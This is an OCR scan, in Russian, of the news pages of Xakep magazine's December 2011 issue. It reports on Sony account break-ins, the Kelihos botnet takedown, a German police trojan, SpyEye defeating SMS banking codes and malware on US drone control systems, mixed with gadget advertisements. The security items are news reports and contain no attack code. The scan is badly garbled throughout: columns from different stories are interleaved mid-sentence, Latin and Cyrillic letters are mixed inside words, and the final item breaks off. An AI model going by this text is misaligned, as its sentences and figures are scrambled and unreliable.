Xakep 12_2011

Page 1

Как пер еити на

про в -

1Pv6

'пока

аидеры кормят нас

NАТ'ом

ПРАВИЛЬНАЯРЕАКЦИЯ

НА ИНЦИДЕНТЫ ИНФОРМАЦИ­ ОННОЙ БЕЗОПАСНОСТИ: ЧТО

ДЕЛАТЬ, ЕСЛИ ТЕБЯ ПОИМЕЛИ

www.epidemz.net


www.epidemz.net


www.epidemz.net


MEGANEWS

КОМПАНИЯ ЯНДЕКС вложила

15

миллионовдолларов вамериканекий поисковик Ыekko . Всего Ыekko привлек

инвестиций уже более чем на 30 миллионов долларов .

SОNУВНОВЬПОДУДАРОМ

WP7 ТОЖЕ СОБИРАЕТ

ЯПОНСКАЯКОРПОРАЦИЯ

ИНФОРМАЦИЮ О ЮЗ ЕРАХ

МАЛО-ПОМАЛУУЧИТСЯ ОТРАЖАТЬ ХАКЕРСКИЕ АТАКИ НЕ ТОЛЬКО

105 И ANDROID ((КОЛЛЕКЦИОНИРУЮТ~~

ЛОКАЦИОННЫЕДАННЫЕ

soNv

а

Windows Phone 7

РанееуSоп ууже были по х ищ е н ы данн ы е 100 ми л ­ лионов а ккаунт ов

PlayStat ioп N etwoгk, в том числе адр е с а

эле к тронно й по ч ты и номера к реди тн ы х

~ [iJ

карт. А в результате атаки на сервис Sопу

Music произошла у теч к а данны х еще

8500 пользователей .

m

есколько месяцев назад интернет и офлайновые СМИ п естрели сообщениями ото м, чтоустройства на базе

iOS и Andгoid собирают данные о пере­

мещении своих владельцев без их ведома . Скан д ал из - за

охоже, скоро мы сами потеряем счет публикациям, посвященным

этого разразился нешуточный- многим было не п рият н о

фэйлам корпорации

узнать, что их телефон х р а н ит в се л о г и п е р еме щ е н ий за

Sony. С тех пор как Sony испортила отношения

с хакерским сооб щ еством (напоминаем, что шумиха поднялась <<бл аг о д аря>> судебному пр еследованию Д жо рд жа GeoHot Хотца), разные

последний г од.

р есу р с ы компании начали п одвергаться не п рерывным атакам, что сильно

безо всякого злого умыс л а, и снабдили свои устройства

д искре д итирова л о ее. В п оследние месяцы все это в еселье, казалось ,

функцией отключения <<слежки>> . Кто бы мог подумать,

наконец поутих л о, однако с

7 по 1О

октября неизвестные злоумышленни­

ки предприняли массо в ые п опытки входа в аккаунты п ользователей на

ресурсах

Apple и Google т o rд a пос п е ш но изви­

нились, сообщив, что <<ш n ионили>> за пользователями

чточерезнекотороевремяэтаисторияполучитпродол­

жение. Выяснилось, что корпорация Microsoftтoжe не

PlayStation Netwoгk, Sony Ente r tai nm ent Net wo r k и Sony Online Entertainment . Во время атаки ис п ользовалис ь и д е н тификаторы 60тысяч пользователей PSN/S EN и ЗЗтысяч пользователей SO E. П ре дп олагается,

аппараты на п л атформе Windows

что х а керы использовали списки логинов и nа ролей, которые ранее были

то естьданные о точках д оступа

ук р а д ены у какой-то другой ком п ании. Д ействовали взломщики методом

станциях, позже используемые в приложении каме ры в

про ч ь проследить за своими клиентами . Оказа л ось, что и

Phone 7 точ н о так же без

разрешения владельцев собирают лока ц ионные данные,

Wi- Fi и

ретранс л яторных

обык н о в енного брутфорса. Как сообщил офи ц иальный пр е д с т авитель

смартфоне.

Sony, и м уд алось получить досту пл ишь к 0,1 %учет н ых з ап исей . О д нако в се 93 ты с я ч и аккаунтов, иден т ифика т оры ко т орых использо ва лись во в ремя

А нгл ояз ы чные в е р с и и с м ар т фонов также собирают д ан н ые о кома нда х г о л осового поиска. Некоторое время

атаки, б ы ли временно заблокированы. Те п е р ь юзеры до л жн ы изменить

Microsoft пыта л ась отрицать все эти факты,

па роли, чтобы самостоятельно разблокиро в ать свои учетн ы е записи . Стоит

была вынуждена п ризнать, что <<слежка>> имее т место .

отметить, что на этот раз

Теперь компания уверяе т, что всему виной п рограммна я

Sony от реагиро в ала

куда опера т ив н ее, чем рань­

ше. Очевидно, пр ошлый опыт не п рошел д аром . :)

ошибка, и обещает исправить ее в версии

но в итоге

WP 7.5.

AHTИBИPYCMICROSOFT

ПОЙМАН ХАКЕР, взломав­

НА ПАРЛАМЕНТСКИХ

ФУНКЦИЯАВТОМАТИЧЕ­

ICQ И ((MAIL.RU АГЕНТ»

SECURIТY ESSENTIALS

ший смартфоны Скарлетт

ВЫБОРАХ, прошедших

СКОГОРАСПОЗНАВАНИЯ

ОБЪЕДИНЯТСЯ

внезапнообнаружилтроян

Йоханссон и многихдругих

недавно в Берлине , пятое

ЛИЦ на фото скоро появится

НАПЛАТФОРМЕ <<Маil.гu

PWS:Wiп32/Zbot в

знаменитостей . Тридцатипя­

место заняла Пиратекая

и в <<Одноклассниках ».

Агента>>. Это вполне ожи­

Google

Chгome. И удалил его вместе

тилетнему Кристоферу Чей­

партия . Всего пираты на­

Технология практически

даемый шаг, призванный

с браузером. Конечно же,

ни предъявлено обвинение,

брали

аналогична уже запущенной

ускоритьразвитиесервисов.

совершенно случайно:).

емугрозит121годтюрьмы .

9% голосов .

в

Facebook.

ХАКЕР

001.

www.epidemz.net

12/155/2011


MEGANEWS

GООGLЕОБЪЯВИЛ ОЗАКРЬIТИИ ЦЕЛОГО РЯДАСЕРВИСОВ: Gооglе Buzz,

«АУДИОКОНФЕТКА»

ОТ

Google Labs, GoogleCode Search и Jaiku.

ОДНИМ БОТНЕТОМ МЕНЬШЕ

EDIFIER

НОВОЕ ПОРТАТИВНОЕ РЕШЕНИЕ ОТ ИЗВЕСТНОГО ПРО ИЗ ВОДИТЕЛЯ

КАК MICROSOFT БОРЕТСЯ С ЗОМБИ-СЕТЯМИ

арпарация

Microsoft, объявившая самую настоящую

войнуботнетам, в последнее время вполнеуспешно закрывает их один за дру гим. Мы рассказывали, как в пр ошлом годубыл обезврежен огромный ботнетWаlеdас, а после него-не менее огромный

Rustock. Очередная жертва Microsoft- ботнет Kelihos !также известный как Нluх)­

объединял около42-45тысяч машин по в сему миру. При этом

Kelihos умудрял ся рассылать порядка четырех миллиардов спам-сообщений вдень . Помим о этого, ботнетиспользовал­

ся для кражи личны х данных, DDoS-aтaк , биржевых мошен­ ничествтипа « накачка и сброс>> и многихдругих незаконных

махинаций. На этотраз в борьбе со злоумышленниками

Microsoft помогали специалисты « Лаборатории Каспер­ ского>>. По сло вам юриста Microsoft Ричарда Босковича , ЛК вообще сыграла в деле ключевую роль. Она наблюдалаза

Kelihos с начала 2011

года, а сейчас перехватила управление

ботн етом . Специалисты « Лабора тории»проанализировали

кодэтой зомби-сети, раз обрали пр отокол связи, обнаружили

Edifier

уязвимо с тьвее п иринговойинфра ст рук туреиразработали

МР17

соответс твующие инструмент ы обезврежи вания. Главным инструментом стал siпkhоlе-маршрутизатор-один из

имеет весьма

компьютеров << Ла боратории » внедрился в ботнет, чтоб ы по­

скромные габариты: 235х67х40мм . Это

лучить контроль над ним . Двадцать шестого сентября ЛК на­

по-настоящему

чала распространятьспециальный а др ес п ира. С ко ро адрес

компактнаяаудио-

начал преобладать в ботнете: боты стали подключатьсятоль­

система с отличным качеством звучания.

ко к машине << Лаборатории >>. В этом и состоитсутьsiпkhоliпg

-в место настоящих контроллеров боты коннектятся к специальновнедренномувботнетфальшивомууправляю­

щему центру. С этого момента командовать Ботнетам ста ло

к

омпания

Ed ifier представила новую портативную колонку AudioCaпdy 2

невозможно. Параллельна Microsoft обратилась в суде б ны е

IMP17) с расширенными функциональными возможностями. Это прак­

органы СШАстребованием отключитьдоме н ы, используе­

тически идеальное решение среди аудиосистем класса «музыка всег­

мыедляуправления ботнетом. В итоге постановление об

да с тобой» . Колонка, имеющая USВ-порт и в строен ны й FМ-радиоприемник,

их отключении вынесокружной суд штата В ирджиния. В се

нез аменим ый на отдыхе или в путешествиях, укомплектована картой

заблокированные домены обслуживались реги стратором

SD

и

мощным аккумулятором, который обеспечивает до восьми часов автономной

VeriSigп. Большинство из них былозарегистр ировано на

работы !его можно подзаряжать с помощью USВ-кабеля). МР17 имеет два ши­

анонимныхлице Багам ских островов , а один-на предпри­

рокополосных полутора дю ймовых динам ика и пассивный радиатор. Мощность

нимателя из Ч ехии. Возникает вопрос, чтоделать с Бот н етам

з в учания этой совсем н ебольшой колонки д остигает 2,4 Вт

дальше? Дело в том, что siпkholiпg ботнета -временн ое

RMSI

При этом она

занимаеточень мало места, а защитный чехол для транспортировки предохра­

решение, ЛК не сможет постоянно сдерживать зомби-сеть с

няет ее от повреждений.

помощью этого метода. Конечно, использ уя знания атом, как

звука через разъем

Ed ifier МР17 легко подключается

AUX. Устройс тв о оснащено передней

к любому источнику

контрольной панелью

прои сходит обновление ботнета, можно вып устить специ­

для удобства навигации по тр екам, рег улирова ния громкости и пер еключе н и я

альное обновление, котороеуст ранитз аражение и само­

FМ-каналов. Е е стоимость составляет всего

ликвидируется , однако в большинстве странтакие действия

1300 рублей. Edifier МР17 станет

будутсчитаться незаконными .

отличным новогодним подарком .

ГЛОНАСС ВЕЗДЕ И ВСЮДУ

СТАЛО ИЗВЕСТНО, ЧТО ВIРНОNЕ,SЭАЯВЛЕНА ПОДДЕРЖКА ГЛОНАСС. НЕТ, GPS ТОЖЕ НАЛИЧЕСТВУЕТ. НЕТ, ЭТО НЕ ШУТКА. ХАКЕР

006

www.epidemz.net

12 / 155/ 201 1


MEGANEWS

ИССЛЕДОВАТЕЛИ ИЗ УНИВЕРСИТЕТАДЬЮКА пришли к выводу, что отказ от DRM только снизитуровень пиратства .

ПРИНУДИТЕЛЬНЫЙ ОПРОС

СЕКРЕТНЫЕ ДАННЫЕ. ДЕШЕВО

СРЕДИ ПИРАТОВ

БЕЗОПАСНОСТЬ БРИТАНСКОГО АЭРОПОРТА СЛУЧАЙНО ОКАЗАЛАСЬ ПОД УГРОЗОЙ

КАК СОБРАТЬ СТАТИСТИКУ ОЛЮБИТЕЛЯХ ХАЛЯВЫ? КОНЕЧНО, ХИТРОСТЬЮ!

ч

еготолько не продают на

eBayl

На крупнейшем в

миресетевомаукционевь~тавлялисьиэкспери ­ мент альная модель россииского космического

корабля, и смысл жизни, и многие др у гие смешные и

m

еобычное ис следование провела нед авно

экстравагантныелоты.Однаконаэтома укционенередко

антипиратская о рга низа ция

Defendeг.

прода ются и совсем не безобидные вещи. Однажды экс­

организо ­

перт в области инфо рмаци онной безопасности Майк Кемп

Аналитики

Vigilant

Vig il ant Defendeг решили

вать опрос среди геймера в, для чего умышленно распро­

решил приобрести на еВ а у подер жанный коммутатор за

с транили в Сети пиратск ую копию бета -д емоверсии игры

(20. П олучив ус тройство, Кемп с удивлением обнаружил на

Deus Е х : Human Revolut io n с кряком.

нем маркировку Национальной службы управления воз­

Эту пир а тк ускачали

сотни ты сяч людей, даже не подозревая ото м, что она

душн ым движе нием Великобритании

с сюрпризом . Нет, игра действительно з апускалась и

вавшись , он изучил приобретение более детально. В силу

[NATS). Заинтересо­

работала, но через некоторое время открывала веб­

с вое й профессии Майк без труда понял, чт о де ва й с ранее

форму, которая предлагала пользователю ответить на

использовался в сети «Аэропорта Глазго Пр ествик>>. Ока­

ряд вопросов . В основном вопросы касались копирайтаи

залось, что в памяти устройства осталась вся информация

пират с тв а. Большинство и гро ков , как ни странно, не и с ­

о на стройках сети аэропорта, а также па роли для доступа

пугались и ответили на предложенные вопросы. Так,

к некоторым е го с л ужб а м. Е сли бы этиданные попали в

24%

руки злоумышленников, то они смогли бы контролировать

участнико в опроса заявили, что уже заказа ли лиц ензи­

онную версию игры, а еще

25% ответили ,

что собираются

купитьлицензию позже . Около полови ны опрошенных

потокданных в се ти аэропорта с помощью своего комму ­

а В опросе хитрых

татора. То есть смогли бы вмешаться в работ у аэропорта

скач ал и пиратскую вер сию, чтобы пр ос то п осмотрет ь,

антипиратое при ·

и даже нарушить перед ачу данны х по внутренней се т и.

с тоит ли игра своих денег. Пр и зто м большинство гей-

н я ли участие

Пр едста в и тели

м е р о в , участвовавших в опросе , отметили , что готов ы

заплатить за лицензию не более $30-40 [к слову, на самом деле Deus Е х : Hu man Revo lution стоит $60). В хо д е опроса также выяснилось, что мно гие считают систему

ORM

900

тысяч уникальных

посетителей . Неле­

галь ную копию Deus Е х: Human Revolution скачали около миллиона человек.

незффективной.

WEXLER.BOOK Е6002.

Кемпом

в оздушный контро ль . Кроме того , конфигур ация системы якобы была изменен а уже после продажи. Каким образом подлежащее уничтожению оборудование оказалось на и нтернет -аукционе, покажет ра сследова н и е.

Компания WEXLER начала поставки

~

новой компактнойэлектронной книгиWЕХLЕR.ВООКЕ6002, которая приходит на смену модели Е6001 . Новый девайс рабо­

тает на базе 6.0" дисплея нового поколения

NATS заявили, что приобретенный

коммутатор н е использовал ся в системе, отвечающей за

PEARL, который

СОЗДАЕТСЯ ВПЕЧАТЛЕНИЕ, ЧТО PAYPALOT ДУШИ

ГЛУМИТСЯ НАД РОССИЙСКИМИ ЮЗЕРАМИ . Н еда в но

гарантирует комфортное для глаз чтение книг и просмотр изображений. Устройство оснащено встроенной памятью

компания сообщила, что открывает для россий­

объемом 4 ГБ, при желании можно установить и 50-карту

ских пользователей возможность приема плате­

объемом до 36 ГБ. Новинка поддерживает самые популярные

жей. Через два дня выяснилось, что это сообще­

форматы электронных книг, изображений и аудио файлов.

ние-ошибка . Теперь

Благодарявстроенному литий-полимерномуаккумулятору

объявилаотом,чтороссийскиепольэователи

емкостью

смогут принимать платежи, а комиссия для них

1500 mAh, WEXLER.BOOK Е6002 имеет очень низкое

PayPal вновь официально

энергопотребление и при интенсивном чтении полногозаряда

составит от 2,4до 3,4% от переведенной суммы.

хватаетнанескольконедель.Рекомендованнаярозничная

Однако выводить деньги можно будеттолько

цена новинки-5

через банки США.

990 руб.

ХАКЕР

008

www.epidemz.net

12/155/2011


MEGANEWS

В FACEBOOK ПОЯВИЛСЯ ВСТРОЕННЫЙ ПЕРЕВОДЧИК. Функция работает для перевода записей и комментариев.

RIW-2011

вании методов эксплуатации уязви мастей, а также рас с казал о

неэффективности существующи х мер по защите ПО.

ЖЕЛЕЗНЫЙ &ЛОК, ИЛИ ПЕРВОПРОХОДЦЫ

rn

Большой интерес вызвал у присутствующих доклад Игоря Баринова, СЕО-специалиста из

Hint Solutions. Доклад б ыл

вадцатого октября в Экспоцентре на Красной Пресне

nосвящен созданию общественно-nолитических прил оже ний

произошлоуникальное событие: впервые за всю

для мобильных nлатформ на nримере реализованны х nро екто в

историю

« РасПил>> и Wikileaks. Игорьосветилтренды разработчи ко в

RIW мы выступили партнером пр офессио­

нальн ой программы и провели в Красном за л е собственную

ки в этой области . Юрий Гольцев, зкспертотдела консалтинга

образом об основных угрозах в области информа ц ионной

Positive Technologies рассказал об облачных вычисления х с

безопасно сти и о защитных механизмах, используемых разра­

точки зрения nентестера , поделился оnытом создания « ра­

ботчиками софта. Александр Матросов, руководитель центра

дужных>> таблицдля офлайн-перебора паралей и расс мотрел

вирусных исследований и аналитики

вопросы построения сетевых серви с ов на базе облачны х

стившихся инцидентах в области д истанционного банковского

вычислений и принципы создания сервисов по тестир о ванию

обслуживания. Он рассмотрел типы атак, которые чаще всего

на отказоустойчивость. В с е это можн о былоуслышать в нашем

встречаются в современныхтроянеких программах, и привел

блоке на

обзор наиболее активных << банковских » ботнетов. Большой резонанс вызвал доклад « Анализ современного

RIW-2011 .

Мы бы хотели выра з ить благодарн ость всем докл адчи ­ кам, которые поддержали нас в этом серьезном и в ажно м

российского рынка ком пьютерных преступлений, актуаль ­

начи нании , организатору

ные тенденции и оценка те ку ще го состоя ния », с которым

ции электронных коммуникаций- и лично Сергею Плуго­

выступил генеральный директор Gгoup-IB Илья Сачков.

таренко за оказанное доверие . Мы собрали самое большое

Н а примере кейсов 2011 года он рассказа л об уникальных

слева направо : Юрий Гольцев, Алексей Синцов, Василий Колесников , Александр Каледино в , Никита Кислицин , Илья Сачков, Александр Матросов.

мобильных приложений и представил собственные ра з ра бот­

блок-конференцию. В нашем блоке мы говорили главным

ESET, рассказал обуча­

Х-десантна RIW2011,

RIW 2011 -

Российской ас с оциа­

колич ество п оказов в Сети, провели прямое включение из

способах совершения ком пьютерн ых преступлений. С докла­

Медиацентра и дали комментарии для телеканала РБК . От­

дом об эволюции уязвимостей, количество которых сильно воз­

дельное спасибо нашим читателям и победителям конку рса

росло в последние годы, выступил Алексей Синцов, руководи­

«Выиграй промо-кодна

тельдепартамента аудита из Digital Secuгity. Он акцентировал

в нашей группе ВКонтакте : Василию Колесникову и Алек ­

RIW-2011 >>,

который мы проводили

внимание на развитии защитных ме х анизмов и совершенство-

сандру Калединову . Оставайтесь с нами !

HEADHANTER.RU ОПРОСИЛ IT-WHИKOB

ОКОЛО 71 °/о РОССИЙСКИХ ИТ-СПЕЦИАЛИСТОВ ХОТЯТ ПОЛУЧАТЬ ЗАРПЛАТУ В РУ­ БЛЯХ'- ВСЕГО 18 °/о НЕ ПРОЧЬ ПЕРЕИТИ НА ЕВРО, И ТОЛЬ­ КО 8 °/о- НА ДОЛЛАРЫ. ХАКЕР

010

www.epidemz.net

12/155/2 011


7 ФИШЕК

BUFFALO MINISTATION PLUS Пр отивоударный корпус Портативный жесткий диск

Plus

Buffalo MiniStation

обладает стильным nретиваударным

корnусом и может вмещать в себя до

1 Тб

данных. Девайсотлично nодойдет для еже­

Удобный 6экап

Поддержка

дневного исnользования в роли nортативного

USB 3.0

контей н ера для надежного nереноса данных,

С nомощью

Buffalo's Backup Utility

Бл а го д аря nо дд ержке

за их сохранн ос ть можно не волноваться .

US B т ре т ьей

можно довольно удобно настроить

в ерсии, скорость работы устройства

бэкаn важны х файлов на комnью­

з н ачительно выросла: по сути, теnерь

терах nод

Windows.

она уnирается в скорост ь р аботы с а­

Кроме этого ,

устройство nольностью совмести­

мо с технологией

мого жесткого диска, а н е в nр о n уск­

ную сnособность ш и ны . Ус тр ойс тв о

Time Machine,

служащей для эффективного бэкаnа данных в МАС

05

nри этом nолностью у н иверстально:

девайсотлично работает и с

Х.

уста р е в шими версиями

Утилита

Эффективное

USB.

RAMDISK

RAMDISK - фирменная у т и­ Buffalo дл я соз дани я

электропитание

лита от

быстрого виртуал ьн о г о д иска в оnеративной nамяти и ав-

В

томатической синхронизации

Buffalo MiniStation Plus

реализована технология есо

его со д ержимого с жестким

Manageг, которая эффективно

диском . Фишка тут в том, что

регулируетnотребление энер-

работа с да н ными н а в и р ту­

гии . Это nридется по вкусу

альным д иске осуществля ­

владельцам ноутбуков: ведь в

ется с огром н ой ско р ос т ью,

конечном счете эта экономия выливается в увеличенное

время автономной работы.

TurboPC и TurboCopy

Технологии

Эти фирменные технологии nовы­

шают общую nроизводительность комnьютера и вкуnе с исnоль­

зованием

USB 3.0 nочти

втрое

Шифрование данных

ведь все д а нн ые х р анятся

в оnера т ив н ой n амяти. С жес т ким ди ском и н фо рмац ия

Устройство н а а nn а р а т ном

nри этом си н х р о н ихи р уется

уровне nоддерживае т функ­

ав т ома т и ч ески.

цию шифрования данных с ключом длиной

256

AES

бит. Все

общение с криnтаконтейнерами

nовышают скорость nередачи

и файлами строится nри этом с

данных .

nомощью фирменной софтины Secuгe l ockMoЬile .

ХАКЕР

011

12/155/ 201 1

www.epidemz.net


THEWALLSTREET JOURNAL, Photobucket и сотни других са йтовделятся лагинами илич - .

MEGANEWS

но й и нформацией nользователе й с рекла м одателя м и и другими третьими лицами .

АМЕРИКАНСКИЕ

30 - ПРИНТЕР ДЛЯ ДОМА

БЕСПИЛОТНИКИ ПОД У Г РОЗОЙ

ДОСТУПНОЕ РЕШЕНИЕ ДЛЯ ПЕЧАТИ НА ВОСКЕ, ПРОБК Е И П ЛАСТИКЕ

СИСТЕМУУПРАВЛЕНИЯ БЕСПИЛОТНЫМИ АППАРАТАМИ ВВС С ША

а ми по себе 30-принтеры [то есть устройства

ПОРАЗИЛ ВИРУС

для быстрого изготовления прототипов де­

П о нек оторы м

талей методом послойного формирования из

оц енкам, беспилот­

полимерных материалов! сегодня уже никого не удив­

ны ел ет а тел ь ные апп а раты во е нно­

ляют. Одна ко такие

во з ду шных с и л США

an параты

в основном и с п ал ьзуют на

производстве. Это значит, что они обладают немалыми

к н асто я щ ему м о ме н ­

тууб и ли в го р я чих

габаритами, дорого стоят и совсем не предназначены

т очка х поряд к адву х

для дома. Японская компания

ты сяч челове к.

Roland OG,

которая реши­

ла ком п енсировать эту несправедливость, предлагает

компактный 30-принтер

iMode la для

дома по цене всего

лишь $977 [средняя стоимость 3 0-п ринтера состав­

ляет несколько тысяч долларов!. Конечно, устройство не умеет работать, скажем, с металлом, однако без проблем <<nонимает>> пластик, проб к у, пена пласт, воск и тому подобные материалы. Вместеспринтером по­

ставляется специальное ПО для разработки трехмер­ ных моделей для печати. Судя по всему, сверхс л ож н ых форм с помощью этого аппарата, конечно, н е создать,

но различную приятную мелочевку - за п росто . Одним словом , это прекрасный девай с дл я мо д елистов , ди­ зайнеров, технологов и других л юбителей прикладнога

а к известно, американские военные активно применяют Беспилат­

творчества.

ники в г орячих точках, в том числе в П акистане, Йемене и Афгани ­ стане . Компьютеры, которые у п равляют боевыми беспилотными аппаратами типа Ргеdаtог и Rеарег, располагаются на базе ВВС США <<Крич>> в Неваде. Пилоты, находя щ иеся в Н еваде, отслеживают видеопо­ ток, поступающий с самолетов, и контро л ируют их с помощью компьютера

и джойстика. В заявлении ВВС США говорится, что автономные системы базы были за­ ражены вредоносным ПО. П ро г раммное обеспечение для <<кражи учетных записей пользо в ателей>> было обнаружено на переносных жестких дисках в се н тяб р е . П оскольку наземная система отделена от системы контроля, используемой пилотами для дистанционного управления, возможность безопасного управления Беспилотниками сохранялась на протяжении все ­ го инцидента. Вирус не перехватывал у п равление самолетами, однако за ­ поминал,какиеклавишинажимают п илоты . Предпо л ожительно,малварь по п а л в систему че р ез жес т кий д иск или диск, который п одцеп ил заразу в каком-то дру г ом мес т е. К р оме того, анонимныеисточник и утверждают, что т акой малварь ч асто ис п ол ь зуется для кражи лагинов и паралей у лю д ей, которые делают ставк и через и н тернет или играют вонлайн-игры напо д о­

бие Mafia Waгs

:1.

NGIИX 'al:~e

,t!irate :Шар

КРУПНЕЙШИЕ ИНТЕРНЕТ­ ПРОВАЙДЕРЫ БЕЛЬГИИ Belgacom

НЕДАВНЕЕТЕСТИРОВАНИЕ ширений Сhгоmеуязвимы к

и Telenet долж н ы по реше н ию суда

RUNA CAPIТAL ВМЕСТЕ С ДВУМЯ ДРУГИ ­ МИ ИНВЕСТОРАМИ вложила 3 миллиона долларов в веб-сервер NGINX, созданный

а т акам по извлечению данных.

з аблокировать

росси й ски м и ра з рабо т чи к а м и . В на­

ПОКАЗАЛ О, что 27 из

100 рас­

В тестировании участвовали случайных расш и рени й и

50

50 наи­

11 доменных име н, исnольз уемы х The P i гa t e Вау.

с тоящее время о н ус та н ов л е н n о чти на

43

АНОНСИРОВАНЫОНЛАЙН­

для мобильных nлатформ

ВЕРСИЯ па кета LibгeOffice и версииофисныхnриложений

Apple

iOS и Google Android .

ми лл и он ах доменов .

более nоnулярных.

Х АКЕР

012

www.epidemz.net

12/155/2011


~~МТС•• И ~~ВЫМПЕЛ КОМ•• ~~~6ИЛАЙН••I подписали соглашение о совместномучастии в создании сетей LTE.

ВЛАСТИ ТОЖЕ ИСПОЛЬЗУЮТ МАЛВАРИ

ВОРОВАТЬ ЭЛЬФОВ­ ПЛОХО!

ХАКЕРЫ УЛИЧИЛИ ПРАВООХРАНИТЕЛЬНЫЕ ОРГАНЫ ГЕРМАНИИ

ВИРТУАЛЬНОЕПРЕСТУПЛЕНИЕ

В СЛЕЖКЕ ЗА ЛЮДЬМИ

И РЕАЛЬНОЕНАКАЗАНИЕ

1 So,t·~~~--o. ........_

..

к.~~

а СЗРО-г2d2-РОЕ-такой параль использовался для передач и по­

лученных данны х на сервер в США . Авторы троянца явно были фанатам и ~~ звездных войн ».

:1

Cl

ошенничество вонлайновых играх - вещь не новая и, конеч но же, незаконная . Одна ко немногие

понимают, что эа проделки в Сети можно не то лько

получитьигровойбан,ноизаработатьвполнереальный

тюремный срок. Это не про Россию, скажешь ты ? Ошибаешь­

ся! Любопытный случай произошел недавно в В олгодонске. Местная полиция задержала 20-летнегожителя города за

D

о юз компьютерных экспертов и профессиональных хакеров

кражуигровогоперсонажа.Речьи д ето п ерсо на же п оимени

Chaos

Computeг Club ICCC) обвинил правительство Германии в создании

BSL !темный эльф 82 или 84 у р овня) из ММОРПГ L iпeage 2. Владелец BSL, житель Мурман ска, заяви л о краже чара

и ис п ользовании нелегаль на г о троя на для телекоммуникацион­

ной слежки эа подозреваемыми . Про га, попавшая в руки ССС , применя­

почти год назад. В том, что это был н е технический сбой,

лась немецкой уголовной полицией в качестве средства для проведения

геймер убедился, когда ему пришло предложение вы ку п ить

«о нлайн -обысков>>. Слежка такого рода сама по себе не является неэа­

п ерсонаж. Потерпевши й врядли надеял ся на удачный исход

конной, о днак о прога, как выяснилось, позволяет дистанционно у прав­

дела, однако полиция, как ни странно, нашла злоумышлен­

лять микрофоном, видеокамерой и клавиатурой на компьютерах <<жертв>>

ника и даже вернула перса законному обладателю . Особую

и может скрыто загружать стороннее ПО . В целомпрограмма нарушает

пикантность этой истории придаеттот факт, что при обыске

немецкое законодательство в сфере неприкосновенности частной жизни

квартиры похитителя полицейские изъяли семь мощных

граждан. К тому же в этом шпионском ПО найдено множество дырок , а

компьютеров. Оперативников особенноудивили рельсы в

се рвер , на который троя н отсылает информацию, и вовсе на хо дится в США,

комнате с ком па ми, позволявшие быстро перемещаться от

на территории которых немецкие законы не дей с твуют. Власти Германии

одного ПК к др угому, как в голливуд ских фильмах. Теперь

уже п о дтвердили, что правительственные организации д ействительно

подозреваемого, который пока н аходится под подпиской о

использовали программу, но исключительно дл я телекоммуникационной

не выезде, ждетсуд ебное разбирательство. Е сли вина ха­

с лежки за подозреваемыми и строго в рамках зако н а. Также власти за­

кера будет до казана, ему грозит ни много ни малолишение

вуалирован но намекнули , что в ССС, скорее всего, анализировали с тарый

с вободы на срок до дву х лет. А всего-то, каза л ось бы, украл

тестовый образец << легального >> троя на .

какого-то вирт уа льного э льфа ...

IE 9 РАСПОЗНАЕТ И

ФУНКЦИОНАЛРНОТОSНОР

ВСЕНТЯБРЕДОЛЯСПАМА

БЛОКИРУЕТ оттрех до пяти

скоро пополнится инстру­

В ПОЧТОВОМ ТРАФИКЕ

КУ В РЕЖИМЕ РЕАЛЬНОГО ВРЕМЕНИ. Новый механизм защиты

миллионов онлайн-угроз в

ментом deЫurriпg для

по сравнению с августом

призван оградить пользователей от ссылок на <<нехорошие>>

день, сообщает Microsoft.

восстановления смазанных

уменьшилась на

Браузер отфильтровывает

снимков. До появления кноп­

составила в среднем

разработанной компанией Webscense. Юзеры смогутузнать

92% опасныхURL-адресов и 8% скачиваемых программ.

ки <<Сделать круто!» уже

сообщает << Лаборатория

опричинах, по которым сайт был признан опасным, а также

точно осталось недолго:) .

Касперского>> .

перейти по ссылке, несмотря на предупреждение.

ХАКЕР

1,5% и 78,5%,

FАСЕВООКТЕПЕРЬ БУДЕТ АНАЛИЗИРОВАТЬ КАЖДУЮ ССЫЛ­

сайты . Анализ будет проводиться с помощью технологии АСЕ,

013

12/155/2011

www.epidemz.net


MEGANEWS

В 9TOSMAC ОБНАРУЖИЛИ, ЧТОДАЖЕЗАПАРОЛЕННЫЙ IPAD 2 можно в зломать с помощью обложк и Smaгt Соvег..

НОВОСТИ О

ЗHAKOMbTECb-DAR T

SPYEYE

БАНКОВСКИЙТРОЯНЕЦУЧИТСЯОБХОДИТЬ

КОМПАНИЯGООGLЕОФИЦИАЛЬНОПРЕДСТАВИЛА

НОВЫЕ УРОВНИ ЗАЩИТЫ

НОВЫЙ ЯЗЫК ПРОГРАММИРОВАНИЯ SpyEye у ж е у м е ет

омпания

перехва т ыват ь SМS

~ SpyEye ...

__ ....--·--- -.......---

разработ ч ик ов, а его м об и л ь н а я вер· сия те пе рь рабо тает в свя зке с в е рс ией для n к .

......

-

.... ... -

провела

плаг и ны с т оронн их

.

1

Google

и подд е р жи ва т ь

1

презентацию, на

которой пре д ставила

DART

всему миру про-

ект Daгt ldaгtlaпg . огg]. Это объектно­ ориентированный структурированный

язык программирования, разработанный для устранения ряда трудностей, которые возникают при создании веб-базированных

приложений. Е го структура похожа на структуру JavaScгipt. Из­ в е стно , что во внутренней переписке компа н ии D a г t называ л и дополнением и даже заменой JavaScгipt, серьезные изъяны ксперты компании Tгusteeг обнар уж или, что в арсенале

Spy Eye

появился новый прием. Как и з в е стно, бан к и часто

используют двухуровневую систем у аутентификации : на мобильный телефон клиента высылается

SMS с

к одом, который

которого невозможно исправить путем эволюционного развития .

Код нового языка , дост у пный для свободной загрузки , распро­ страняется подлицен з ией

BSD . Пока

Daгt находится на ранней

стадии разработки . Создатель языка, известный программист

следует ввести в веб-формудля подтверждения транзакции . К о м­

Ларе Бак работает со с воей командой в датском офисе . Дополни­

бинация МitВ-атаки с элементами социального инжиниринга т еп ерь

тельный инструмент а рий разрабатывает группа Б рюса Джанеона

поз в оляет злоумышленникам подменять номер телефона , привя­

в Атланте , а реализацией поддержки у ровня

занный к аккау н ту в системе онлайн-банкинга , и беспрепят с твенно

Daгt и Нагтоп у занимается Павел Фельдман вместе с ра з работ­

проводить фи н а н совые операции от имени клиента, которо му при­

чиками из Санкт-Петербурга. По словам создателей, главными

надлежит это т аккаунт . Как н и сме ш но, л е гализовать новый номер

преимуществами Daгt являются гибкост ь, легкос т ь в освое н ии

Web

lпspectoг для

в системе он л айн - банкинга помо г ае т, сам того не ве д ая, владел е ц

и универсальность - написанные на нем п ри л оже н ия буд у т

зараженного устройс тв а. П роисхо д ит все так : с помощью своего

успешно работать во всех современных браузе р ах, в том числе и

стандартного функцианала

в их версиях для мобильных девайсов . Это стане т возможным не

Spy Eye

крадет регистрационные данные

целевого аккаунта. Как т олько владелец а к ка у нта за х одит на сайт

